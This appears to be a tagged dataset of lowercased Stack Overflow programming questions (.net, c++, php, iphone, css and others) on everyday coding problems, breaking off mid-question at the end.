working out network bandwidth with .net  i need some advice on how to measure some statistics with my ftp application. basically  i have a threaded application that <a href= http://en.wikipedia.org/wiki/ftps  rel= nofollow noreferrer >ftps</a> to several machines which could be local or remote. some are on the company lan (ethernet 100&nbsp;mbit/s) and others are contactable via <a href= http://en.wikipedia.org/wiki/asymmetric_digital_subscriber_line  rel= nofollow noreferrer >adsl</a> lines (max bandwidth 1.5&nbsp;mbit/s).    what i would like to do is knowing which machines would take a long time to send data to (that is  the adsl lines) and then delay transferring to them until other ftp transfers have finished.,.net
problem with uisegmentedcontrol <pre><code>-(ibaction)changesegmentdistance:(uisegmentedcontrol *)sender{ //  refinedistance=sender;      switch ([refinedistance selectedsegmentindex]) {         case 0:             valuestring=5;             nslog(@ value string %d  valuestring);               break;         case 1:             valuestring=10;             nslog(@ value stringaaaa %d  valuestring);            case 2:             valuestring=15;             nslog(@ value string %d  valuestring);             break;         case 3:             valuestring=16;             nslog(@ value string %d  valuestring);             break;         default:             break;     } } </code></pre>   when i running application and printing on console     using nslog...    when i select 0 its printing 5... when i selected 1 its printing 10 and 15 when i selected 2 its printing 15 when i selected 3 its printed 16..    i dont know why its printing 10 and 15 when i selected 2nd.,iphone
calculating average and maximum from a .txt file  i have a text file that looks like this (but many more lines):    <pre><code>9527 88147 4963 75407 448p 34361 2545 29046 9095 258t8 </code></pre>   how would i find the average of all the numbers in the 1st column  i know how to find the average but i can t seem to get it to work due to the <code>p</code> in one of the numbers in the 1st column. so i how would i find the average while ignoring the <code>chars</code>     also  how would i find the max number in just the 2nd column while ignoring the char <code>t</code>     here is my code for calculating the average:   <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;string&gt; #include &lt;fstream&gt; #include &lt;algorithm&gt;  using namespace std;  int main() {   ifstream file;   string filename;   cout &lt;&lt;  please input the filename:  ;   cin &gt;&gt; filename;   file.open(filename.c_str());   while(file.fail())   {     file.clear();     cout &lt;&lt;  incorrect filename  please input the filename:  ;     cin &gt;&gt; filename;     file.open(filename.c_str());   }    // calculate the average value of all numbers in the first column and the   // largest value of all numbers in the second column    string line;   long sum = 0;   long i = 0;   long max = 0;   while (getline(file line))    {     string str1  str2;      size_t idx = line.find(   );     str1 = line.substr(0 idx);     str2 = line.substr(idx+1);      str1.erase(std::remove_if(str1.begin ()  str1.end ()  ::isalpha)  str1.end ());     str2.erase(std::remove_if(str2.begin ()  str2.end ()  ::isalpha)  str2.end ());      int n;     sum += stoi(str1);        n  = stoi(str2);       if(i == 0)       max = n;     else     {       if ( n &gt; max )         max = n;     }      ++i;   }    // the total number of rows in the file   int rows = 0;   {     ++rows;   }    // find the invalid numbers with letters in them and output them         file.close();    // output of calculations   cout.precision(4);   cout &lt;&lt;  the average value of all numbers in the first column:   &lt;&lt; fixed &lt;&lt; static_cast&lt;double&gt;(sum)/i &lt;&lt; endl;   cout &lt;&lt;  the largest value of all numbers in the second column:   &lt;&lt; max &lt;&lt; endl;   cout &lt;&lt;  the total number of rows in the file is:   &lt;&lt; i &lt;&lt; endl;   //cout &lt;&lt;  the invalid numbers are:   &lt;&lt; letters &lt;&lt; endl;   return 0; } </code></pre>   my output for the average just says <code>nan</code>.,c++
regex to replace space with char  input : <code>test 1  |  test 2   |   test 3   |   test 4</code> here the char <code>|</code> is like a delimiter.    can somebody give me regular expression or any simple way to get the string like this. and that should not affect the space between <code>test</code> and <code>3</code>.    the output should be <code>test 1|test 2|test 3|test 4</code>    there is not just one space. the spaces may be more than one.,.net
how to search all items in listview without findstring  i am new to developing ui in .net. basically i am using a listview and i want to search through items in listview.  suppose the list contains this:    sno name<br> 1   michael jackson<br> 2   john mitchel      if i search usign the second or third term it should display all the items that match the criteria. i tried using .findstring  but it is just searching the first term. this is not what i want. can anyone tell me a better way to do what i want,.net
ror webrick server startup errors  when i try to start up the macports installed ruby on rail webrick server to get back into my ror training after putting it down for like a year i got the following errors on executing <code>ruby -d script/server</code>:   <pre><code>exception `loaderror  at /opt/local/lib/ruby/site_ruby/1.8/rubygems.rb:1215 - no such file to load -- rubygems/defaults/operating_system exception `nomethoderror  at /opt/local/lib/ruby/1.8/rational.rb:78 - undefined method `gcd  for rational(1  2):rational exception `gem::loaderror  at /opt/local/lib/ruby/site_ruby/1.8/rubygems/dependency.rb:247 - could not find memcache-client (&gt;= 1.7.4) amongst [abstract-1.0.0  actionmailer-3.0.3  actionmailer-2.3.8  actionpack-3.0.3  actionpack-2.3.8  activemodel-3.0.3  activerecord-3.0.3  activerecord-2.3.8  activeresource-3.0.3  activeresource-2.3.8  activesupport-3.0.3  activesupport-2.3.8  arel-2.0.6  builder-2.1.2  bundler-1.0.7  cgi_multipart_eof_fix-2.5.0  daemon_controller-0.2.6  daemons-1.1.0  erubis-2.6.6  fastthread-1.0.7  gem_plugin-0.2.3  i18n-0.5.0  mail-2.2.12  mime-types-1.16  mongrel-1.1.5  mysql-2.8.1  mysql2-0.2.10  passenger-3.0.7  polyglot-0.3.1  rack-1.2.1  rack-1.1.0  rack-mount-0.6.13  rack-test-0.5.6  rails-3.0.3  rails-2.3.8  railties-3.0.3  rake-0.8.7  rubygems-update-1.8.5  sqlite3-ruby-1.3.2  thor-0.14.6  treetop-1.4.9  typhoeus-0.3.3  tzinfo-0.3.23  xml-simple-1.1.1]         /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.3.8/lib/active_support/vendor.rb:32: warning: redefine normalize_translation_keys exception `typeerror  at (eval):4 - can t modify frozen object exception `missingsourcefile  at /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36 - no such file to load -- fast_xs exception `missingsourcefile  at /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:62 - no such file to load -- fast_xs exception `nameerror  at /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:55 - uninitialized constant activesupport::dependencies::mutex         /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:55: uninitialized constant activesupport::dependencies::mutex (nameerror)     from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require  from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `require  from /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.3.8/lib/active_support.rb:57 from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require  from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `require  from /opt/local/lib/ruby/gems/1.8/gems/rails-2.3.8/lib/commands/server.rb:1 from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require  from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `require  </code></pre>   are these errors caused because the rails project i made before was made with an older gems or ruby version (been updated every time i updated my macports)  how can i remedy this     <strong>update</strong>    found <a href= https://stackoverflow.com/questions/5176782/uninitialized-constant-activesupportdependenciesmutex-nameerror >uninitialized constant activesupport::dependencies::mutex (nameerror)</a> which is similar. now updating gems and retrying all again soon.    <strong>update 2</strong>    updated all gems just got one error:   <pre><code>updating mysql2 error:  while executing gem ... (gem::gemnotfoundexception)     could not find a valid gem  mysql2  (0.3.11) locally or in a repository </code></pre>   error:   <pre><code>ruby script/server /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:55: uninitialized constant activesupport::dependencies::mutex (nameerror)     from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require      from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `require      from /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.3.8/lib/active_support.rb:57     from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require      from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `require      from /opt/local/lib/ruby/gems/1.8/gems/rails-2.3.8/lib/commands/server.rb:1     from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require      from /opt/local/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:36:in `require      from script/server:3 </code></pre>   still persists  but may need some kind of restart    <strong>update 3</strong>    i added <code>require  thread </code> to to the top of config/boot.rb as suggested in the answer of   @thekingoftruth at the earlier mentioned thread. now webrick starts. i do get a lot of errors still saying:   <pre><code>note: gem.source_index is deprecated  use specification. it will be removed on or after 2011-11-01. gem.source_index called from /opt/local/lib/ruby/gems/1.8/gems/rails-2.3.8/lib/rails/gem_dependency.rb:21. note: gem::sourceindex#refresh! is deprecated with no replacement. it will be removed on or after 2011-11-01. gem::sourceindex#refresh! called from /opt/local/lib/ruby/gems/1.8/gems/rails-2.3.8/lib/rails/vendor_gem_source_index.rb:34. note: gem::sourceindex#load_gems_in is deprecated with no replacement. it will be removed on or after 2011-11-01. gem::sourceindex#load_gems_in called from /opt/local/lib/ruby/site_ruby/1.8/rubygems/source_index.rb:320. note: gem::sourceindex#add_spec is deprecated  use specification.add_spec. it will be removed on or after 2011-11-01. gem::sourceindex#add_spec called from /opt/local/lib/ruby/site_ruby/1.8/rubygems/source_index.rb:127. </code></pre>,ruby-on-rails
how to write a code to generate a new jframe of full screen by click a button on another jframe   how to write a code to generate a new jframe of full screen by click a button on another jframe    like  if i create a button on jframe1 &amp; want to open another say jframe2 in fullscreen  how will i do that    what will be the necessary mousepressed event code i have to write       i have tried using below code :    <pre><code>toolkit tk = toolkit.getdefaulttoolkit();   int xsize = ((int) tk.getscreensize().getwidth());   int ysize = ((int) tk.getscreensize().getheight());   this.setsize(xsize ysize);   </code></pre>   but it gives a exception,java
php multiply price with total hours  i have to multiple total no of hours (like 13:15) with price like(500).    example:   <pre><code>$hours=13:15; $price=500; $result=$hours*$price; $result=    </code></pre>   how can i multiple total no of hours with price to get final price,php
which part of the c++ standard allow to declare variable in parenthesis   consider the following code:   <pre><code>int main() {     int(s); } </code></pre>   i am surprised by the fact that it creates valid variable <code>s</code>. can anyone explain what s happening here,c++
basic php code within a page  if i have a file called <code>file.php</code> and want to display 3 different contents in it.  one would you regular <code>file.php</code> and the other 2 would be <code>file.php c=1</code> <code>file.php c=2</code>    how can i go about doing that     example   <pre><code>&lt;html&gt; &lt;head&gt;    ...........  &lt;body&gt;  something goes here 1 &lt;show only if  link.com/file.php c=1 or file.php   something goes here 2 &lt;show only if  link.com/file.php c=2  something goes here 3 &lt;show only if  link.com/file.php c=3        &lt;/body&gt; &lt;/html&gt; </code></pre>,php
confused about bit shifting (counting bits in byte)  i m trying to count the number of set bits in a byte but i appear to be running into some issues i can t find answers to.    my code currently looks like   <pre><code>   public static int numbits(byte input){        int count = 0;        while (input != 0){            if ((input &amp; 1)==1){                count++;            }            input &gt;&gt;= 1;        }        return count;    } </code></pre>   it appeared to work fine until i tried <code>x = -1</code>.    this ended up creating an infinite loop as value 1 bits were being inserted. so i stumbled upon     <a href= https://stackoverflow.com/questions/15457893/java-right-shift-on-negative-number >java: right shift on negative number</a>    which to my interpretation meant i should use <code>input &gt;&gt;&gt;= 1;</code> but this still led to an infinite loop.     so i tried to figure out what was going on by trying   <pre><code>byte x = -1; system.out.println(x &gt;&gt;&gt; 1); system.out.println(x &gt;&gt; 1); </code></pre>   which lead to    <pre><code>2147483647 -1 </code></pre>   leaving me more confused. where did the number <code>2147483647</code> come from and where might i be making a logic mistake,java
mpmusicplayercontroller doesn t respect device mute switch   i m using the mpmusicplayercontroller application music player  created like:   <pre><code>appmusicplayer = [mpmusicplayercontroller applicationmusicplayer]; </code></pre>   the issue is that it will play music no matter which setting the device mute switch is in  it doesn t seem to care either way. is there some audio session mode i need to be in to have it respect the mute switch,iphone
zooming with a catiledlayer in a uiscrollview  i m implementing a map application similar to the maps app and i m try to add zooming. i have multiple detail levels  e.g. 6  and i want to use the appropriate level for the current zoom scale. i m using a catiledlayer in a uiscrollview. so far i can set the min/max zoom in the uiscrollview  drawlayer gets called and i draw the appropriate tile  but this only uses my first map level. now i want to set levelsofdetail in the catiledlayer so i can use the appropriate detail level.    my question is  how do i know at what level i should draw  the tilesize of catiledlayer is always the same  and so is the clipping rect. i can see when drawlayer gets called for the new level of detail  but how to tell what level that is.,iphone
defining python classes  i am a beginner with python as i have probably stated in my previous questions  and some of the topics that i have been comming across are not given the in depth explanations that i would require to underswtand the material so i have a question. the question that is beign asked is   add method distance() to the class point. it takes another point object as input and returns the distance to that point (from the point invoking the method).     what it is looking for is the following result when this is all input into the module   <pre><code>&gt;&gt;&gt; c = point() &gt;&gt;&gt; c.setx(0) &gt;&gt;&gt; c.sety(1) &gt;&gt;&gt; d = point() &gt;&gt;&gt; d.setx(1) &gt;&gt;&gt; d.sety(0) &gt;&gt;&gt; c.distance(d) 1.4142135623730951 </code></pre>   here is what i have:   <pre><code>class point:     def setx(self  xcoord):         self.x = xcoord     def sety(self  ycoord):         self.y = ycoord     def get(self):         return(self.x  self.y)     def move(self  dx  dy):         self.x += dx         self.y += dy </code></pre>   and then i am not sure if i would need to define distance in what way. thank you.    i have a clear baseline of how i am pretty sure i would begin this  but then when it comes to defining distance  i am very much stuck.,python
java.lang.unsupportedclassversionerror: bad version number in .class file  i am using jdk 1.5.0_22 and this is set in env variables also. my server also has the same java version.     but still i am getting this error   java.lang.unsupportedclassversionerror: bad version number in .class file . please help.,java
how can i alter a div so that i can click on the elements behind it   i am creating something for a charity.  it is a house with bricks.  you donate money  click on a brick and you have a chance at a prize.    my problem is with the way i am using a div to place a door over the bricks.  the div is covering all of the bricks to the right of it and they are not clickable.  i am not sure how i can change it so that i have access to the bricks behind the door div down at the bottom.    here is a working url: <a href= http://matrixaccelerator.com/house2.php  rel= nofollow >http://matrixaccelerator.com/house2.php</a>    here is the code:    <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;house&lt;/title&gt; &lt;script type= text/javascript &gt;     function rewritetag($x $y $brick) {         alert( buy/bought );         document.getelementbyid($x+   +$y).innerhtml =  &lt;img src= images/brick +$brick+ .png &gt; ;     } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;img src= images/roof1.png  /&gt;&lt;br /&gt; &lt; php  for ($y=1; $y &lt;= 20; $y++) {     if ((floor($y/2)) == ($y/2)) {         $brickid = rand(1 3);         echo  &lt;img src= images/brick .$brickid. halfleft.png  style= padding-left:9px; &gt; ;     }     for ($x=1; $x &lt;= 20; $x++) {         $brickid = rand(1 3);         $freespaces = array( 9 4   10 4   11 4   10 5   11 5   12 5   9 6   10 6   11 6   10 7   11 7   12 7   9 8   10 8   11 8   10 9   11 9   12 9   9 10   10 10   11 10   10 11   11 11   12 11   9 12   10 12   11 12   10 13   11 13   12 13   9 14   10 14   11 14   10 15   11 15   12 15   9 16   10 16   11 16   10 17   11 17   12 17   9 18   10 18   11 18   10 19   11 19   12 19   9 20   10 20   11 20 );         if (in_array($x.   .$y  $freespaces)) {             $grey =   ;             echo  &lt;span id=  .$x.   .$y.  &gt;&lt;img src= images/brick .$brickid.$grey. .png   .(((floor($y/2) &lt;&gt; $y/2) &amp;&amp; ($x == 1))    style=\ padding-left:9px;\   :   ). &gt;&lt;/span&gt; ;         } else {             $grey =  grey ;             echo  &lt;span id=  .$x.   .$y.  &gt;&lt;img src= images/brick .$brickid.$grey. .png  onmouseover= this.src=\ images/brick .$brickid. .png\   onmouseout= this.src=\ images/brick .$brickid. grey.png\   onclick= rewritetag( .$x.   .$y.   .$brickid. );  .(((floor($y/2) &lt;&gt; $y/2) &amp;&amp; ($x == 1))    style=\ padding-left:9px;\   :   ). &gt;&lt;/span&gt; ;         }     }     if ((floor($y/2)) &lt;&gt; ($y/2)) {         $brickid = rand(1 3);         echo  &lt;img src= images/brick .$brickid. halfright.png &gt; ;     }     echo  &lt;br&gt;\n ; }  &gt; &lt;div style= position:relative;top:-239px;right:-395px; &gt;&lt;img src= images/door.png &gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
randomising questions  i am wondering how i can randomise the order of questions when i have <code>question</code> as an <code>nsinteger</code> i am using the following line of code to try and display my arc4random however it crashes and it doesnt load properly.    <pre><code>    question = arc4random() %6 +1; </code></pre>   is theere a solution to get the integer question to be randomized in its order  thanks,iphone
imacro code needed for refresh page until it loads completely   i m using imacros for chrome.i need to login in a webpage but the problem is the webpage is sometime loading may be it doesn t open sometime so i want imacros to reload the webpage until it loads completely with maximum retry .can anybody give me the code please thnx in advance...,javascript
adding video files in iphone  i am new to iphone. i need sample code for how to add video files in iphone.,iphone
how to export html data to pdf in angularjs  this is my html code where i rendered all <code>json</code> data from <code>.js</code> file but getting    <blockquote>    typeerror: cannot convert undefined or null to object       at function.keys ()       at docmeasure.measurenode (pdfmake.js:15647)       at docmeasure.measuredocument (pdfmake.js:15635)       at layoutbuilder.trylayoutdocument (pdfmake.js:15088)       at layoutbuilder.layoutdocument (pdfmake.js:15076)       at pdfprinter.createpdfkitdocument (pdfmake.js:2130)       at document._createdoc (pdfmake.js:82)       at document.getdataurl (pdfmake.js:177)       at document.open (pdfmake.js:109)       at l.$scope.openpdf (app.js:29)         </blockquote>  <pre><code>&lt;head&gt;   &lt;script type= text/javascript  src= http://ajax.googleapis.com/ajax/libs/angularjs/1.3.14/angular.min.js &gt;&lt;/script&gt;   &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js &gt;&lt;/script&gt;   &lt;script type= text/javascript  src= pdfmake.js &gt;&lt;/script&gt;   &lt;script type= text/javascript  src= vfs_fonts.js &gt;&lt;/script&gt;   &lt;script type= text/javascript  src= app.js &gt;&lt;/script&gt;   &lt;script type= text/javascript  src= jquery-3.1.1.min.js &gt;&lt;/script&gt;   &lt;script type= text/javascript  src= raj.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= jspdf.js &gt;&lt;/script&gt;    &lt;/head&gt;  &lt;body ng-app= pdfdemo &gt;   &lt;div ng-controller= pdfctrl &gt;           &lt;div id= pdfcontent &gt;                   &lt;table id= example-table &gt;                             &lt;thead&gt;                             &lt;th&gt;firstname&lt;/th&gt;                             &lt;th&gt;lastname&lt;/th&gt;                             &lt;th&gt;gender&lt;/th&gt;                             &lt;th&gt;mobile&lt;/th&gt;                              &lt;/thead&gt;                             &lt;tbody&gt;                             &lt;tr ng-repeat= emp in employees &gt;                             &lt;td&gt;{{emp.firstname}}&lt;/td&gt;                             &lt;td&gt;{{emp.lastname}}&lt;/td&gt;                             &lt;td&gt;{{emp.gender}}&lt;/td&gt;                             &lt;td&gt;{{emp.mobile}}&lt;/td&gt;                             &lt;/tr&gt;                              &lt;/tbody&gt;                    &lt;/table&gt;           &lt;/div&gt;     &lt;button ng-click= openpdf() &gt;open pdf&lt;/button&gt;     &lt;button ng-click= downloadpdf() &gt;download pdf&lt;/button&gt;   &lt;/div&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>,angularjs
alternative to is_dir  i created a script that would check certain folders located in a <strong>network folder</strong> on windows (both the server and the client are on windows).    now when using <code>is_dir</code> sometimes it gives true and sometimes it gives false for different folders. i am interested in the false ones  because i checked the url manually and it does exist.     <strong>notes:</strong>   <ol> <li>i used the absolute path to check the folders.</li> <li>i am using wamp server with php 5.4.</li> <li>i have full permissions to access all the folders on the network.</li> </ol>  <h2>update</h2>   the example i am working on is this: i have a list of clients stored in the database. each client has a folder in a <strong>network folder (clients)</strong> which is managed by a domain controller  and each client folder has a standard folder structure:   <pre><code>client 1 |--folder a |--folder b |--folder c  client 2 |--folder a |--folder b |--folder c </code></pre>   the code iterates over the clients and check for example if <strong>folder a</strong> exists.   <pre><code>// $clients is an array of names. foreach($clients as $client) {     if(is_dir( \\\\mydomain\\clients\\{$client}\\folder a ))     {         // do something     } } </code></pre>   now the previous code sometimes work and sometimes returns false even if the folder actually exists in the clients folder.    as for wamp permissions  i tried two different users which have permissions to access to the <strong>clients</strong> folder and each client sub-folder  and both gave the same result. as i said before  sometimes <code>is_dir</code> returns <code>true</code> and sometimes returns <code>false</code>.    <img src= https://i.stack.imgur.com/gbjt1.png  alt= enter image description here >,php
css background image left half showing only on older ie  i have this css code:    <pre><code>body {   background-image: url( url );    background-repeat: no-repeat;   background-size: 100%;  } on content {width: 80%;}  </code></pre>   works fine on chrome and recent ie  but breaks older ie. in the error case  the image does not go the full width of browser and thus shows up only on the left while the right side becomes blank. appreciate your help.,css
javascript declare variable with if statement  i ve no doubt this is a duplication of a question  but i can t find the correct search terms.    i d like a shorthand variable declaration that won t be defined if its false. i remember it looking something like this:   <pre><code> var jamie = jamie :  or maybe not ; </code></pre>   if this makes it easier to understand  this is what i m actually trying to achieve.    <pre><code>    if($( body ).hasclass( loggedin )){         var loggedin = true;     } </code></pre>   remember  i have no idea what it is.,javascript
use retuned value of a function on another object on python  i m not sure what this is called so i m unsure what to search for. i have a function which returns a string i need to use the string returned on my instance object.   <pre><code>action = getattr(instance  action_method)(request) instance.action </code></pre>   but this always evaluate to <code>instance.action</code> where i need it to be the value of action.    i have also tried this:    <code>instance.getattr(instance  action_method)(request)</code>,python
iphone runaction not running  i m having some problem with the runaction method for ccanimation. if i run the command after i ve created the ccanimate within the initwithbodypartimage it will work fine with no errors. but  if i call the runaction method with in the cctouchbegan function the app will crash and no error is printed out to the console. so it s really hard to figure out why the app is crashing when i call the runaction method from a different function. if anyone can help me with this i d much appreciated it    <pre><code>-(id) initwithbodypartimage {    // loading the body part sprite using a sprite frame name (eg the filename)    if ((self = [super initwithspriteframename:@ align_01.png ]))    {        state = kbodypartuntouched;        // create an animation object from all the sprite animation frames        anim = [ccanimation animationwithframe:@ align_  framecount:7 delay:0.08f];         // run the animation by using the ccanimate action        animate = [ccanimate actionwithanimation:anim];        //ccrepeatforever* repeat = [ccrepeatforever actionwithaction:animate];        repeat = [ccrepeat actionwithaction:animate times:1];        [self runaction:repeat]; // this is will work fine     }     return self; }  - (bool)cctouchbegan:(uitouch *)touch withevent:(uievent *)event {    [self runaction:repeat]; // this is where the app crashes    state = kbodyparttouched;    return yes; } </code></pre>,iphone
returning pointer to structure to main function  getting segmentation error <pre><code>#include&lt;iostream&gt; using namespace std; struct sample {     int data[3][2]; }; struct sample* function() {     struct sample s;     int c=1;     for(int i=0;i&lt;3;i++)         for(int j=0;j&lt;2;j++)             s.data[i][j]=c++;      cout&lt;&lt; matrix contents are  ;     for(int i=0;i&lt;3;i++)     {         for(int j=0;j&lt;2;j++)             cout&lt;&lt;s.data[i][j])&lt;&lt; \t ;         cout&lt;&lt; \n ;     }     return &amp;s; } int main() { struct sample *ss; ss=function(); cout&lt;&lt; matrix contents are  ; for(int i=0;i&lt;3;i++) {     for(int j=0;j&lt;2;j++)         cout&lt;&lt;ss-&gt;data[i][j]))&lt;&lt; \t ;     cout&lt;&lt; \n ; } return 0; } </code></pre>   what is the error here  when i display content <em>in</em> that function it is getting output  but when i try to display contents outside of the function it displays garbage.  what is wrong,c++
javascript variable in function  i have this code:   <pre><code>&lt;script type= text/javascript  language= javascript &gt; function get_qs_values() {     var arr = new array();     var qs = location.search.substring(1);     var qs_value = new array();     var str =   ;      arr = qs.split( &amp; );      for (i = 0; i &lt; arr.length; i++) {         qs_value = arr[i].split( = );         str +=    + qs_value[1] +  &lt;br /&gt; ;         var test = str;     }     document.getelementbyid( querystring ).innerhtml = str; } &lt;/script&gt; &lt;body onload= get_qs_values(); &gt; &lt;div id= querystring &gt; &lt;/div&gt; &lt;script type= text/javascript  language= javascript &gt; document.write(test); &lt;/script&gt; &lt;/body&gt; </code></pre>   how should i do for save value in a  variable soo i can write in on page     thanks,javascript
add text after the element rather than in the element in editable div - jquery  i have this html:   <pre><code>&lt;div contenteditable= true &gt;&lt;a&gt;hello&lt;/a&gt;&lt;/div&gt; </code></pre>   when the cursor is just after <code>hello</code>  it appends new text in the <code>&lt;a&gt;</code> element. but it should add new text after the <code>&lt;a&gt;</code> element. how to do this,jquery
search script does not return queries  i m very new to php and i m running into some problems making a simple search engine. the script below doesn t return any queries.   <pre><code>&lt; php  mysql_connect( localhost   root    ); mysql_select_db( database );  if(isset($_get[ search ])){ $get_value = $_get[ user_query ];  $result_query =  select * from data1 where name like  %$get_value%  ;  $run__result = mysql_query($result_query);  while($row_result=mysql_fetch_array($run_result)){      $name=$row_result[ name ];     $address=$row_result[ address ];     $city=$row_result[ city ];     $state=$row_result[ state ];     $zip=$row_result[ zip ];     $country=$row_result[ country ];     $phone=$row_result[ phone ];     $website=$row_result[ website ];     $category_1=$row_result[ category_1 ];     $category_2=$row_result[ category_2 ];  echo  &lt;div class= results &gt;      &lt;h2&gt;$name&lt;/h2&gt;     &lt;p align= justify &gt;$address&lt;/p&gt;     &lt;p align= justify &gt;$city&lt;/p&gt;     &lt;p align= justify &gt;$address&lt;/p&gt;     &lt;p align= justify &gt;$state&lt;/p&gt;     &lt;p align= justify &gt;$zip&lt;/p&gt;     &lt;p align= justify &gt;$country&lt;/p&gt;     &lt;p align= justify &gt;$phone&lt;/p&gt;     &lt;p align= justify &gt;$website&lt;/p&gt;     &lt;p align= justify &gt;$category_1&lt;/p&gt;     &lt;p align= justify &gt;$category_2&lt;/p&gt;  &lt;/div&gt; ;  } }   &gt; </code></pre>   what could be the problem here  all the database fields are correct.,php
only want to display 4 divs in a row rather than 5  what i need is for only 4 boxes in each row with 3 rows total. right now it s displaying 5 5 2. i had it working correctly but after adding some code i did something to mess it up. any help would be appreciated.     here is a link to see my current code displayed. <a href= http://bakersfieldtopagents.com/zipcode-search/  rel= nofollow >http://bakersfieldtopagents.com/zipcode-search/</a>.   <pre><code>&lt;style&gt; .title {font-size:40px; text-align:center;} .zipcodebox { display:inline-block; vertical-align:top;} .zipcodeboxxtra { display:inline; z-index:1; position:relative; margin-top:-20px; float:right; margin-right:107px; vertical-align:top;} .zipcode {color:#ffffff; font-size:60px; z-index:2; position: absolute; margin-left:80px; margin-top:55px;     -ms-transform: rotate(25deg); /* ie 9 */ -webkit-transform: rotate(25deg); /* chrome  safari  opera */ transform: rotate(25deg);} .zipcodeother {color:#ffffff; font-size:60px; z-index:2; position: absolute; margin-left:30px; margin-top:55px;     -ms-transform: rotate(25deg); /* ie 9 */ -webkit-transform: rotate(25deg); /* chrome  safari  opera */ transform: rotate(25deg);} .zipcodeboximage img {height:100%; width:100%; max-height:200px; max-width:300px; padding-right:10px; padding-left:10px; z-index:1; position: relative;} .zipcodeboxtitle {background-color:#0f0a42; color:#ffffff; line-height: 1; font-size: 1.6em; text-align:center; font-family: sans-serif; max-width:280px; width:100%; margin-top:0px; margin-left:0px; padding:10px;} .zipcodeboxtitle a {color:#ffffff;} .zipcodeboxtitlextra1 a {background-color:#0f0a42; color:#ffffff; line-height: 1; font-size: 1.6em; text-align:center; font-family: sans-serif; width:280px; padding:10px; display:block; border-bottom: 1px solid #000000;} .zipcodeboxtitlextra2 a {background-color:#0f0a42; color:#ffffff; line-height: 1; font-size: 1.6em; text-align:center; font-family: sans-serif; width:280px; padding:10px; display:block; border-bottom: 1px solid #000000;} .zipcodeboxtitlextra3 a {background-color:#0f0a42; color:#ffffff; line-height: 1; font-size: 1.6em; text-align:center; font-family: sans-serif; width:280px; padding:10px; display:block; border-bottom: 1px solid #000000;} .zipcodeboxtitlextra4 a {background-color:#0f0a42; color:#ffffff; line-height: 1; font-size: 1.6em; text-align:center; font-family: sans-serif; width:280px; padding:10px; display:block;} &lt;/style&gt;  &lt;div class= title &gt;search homes by zipcode&lt;/div&gt; &lt;center&gt;  &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93312&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt; &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;  &lt;div class= zipcode &gt;93314&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93311&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93313&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93309&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93301&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=  &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  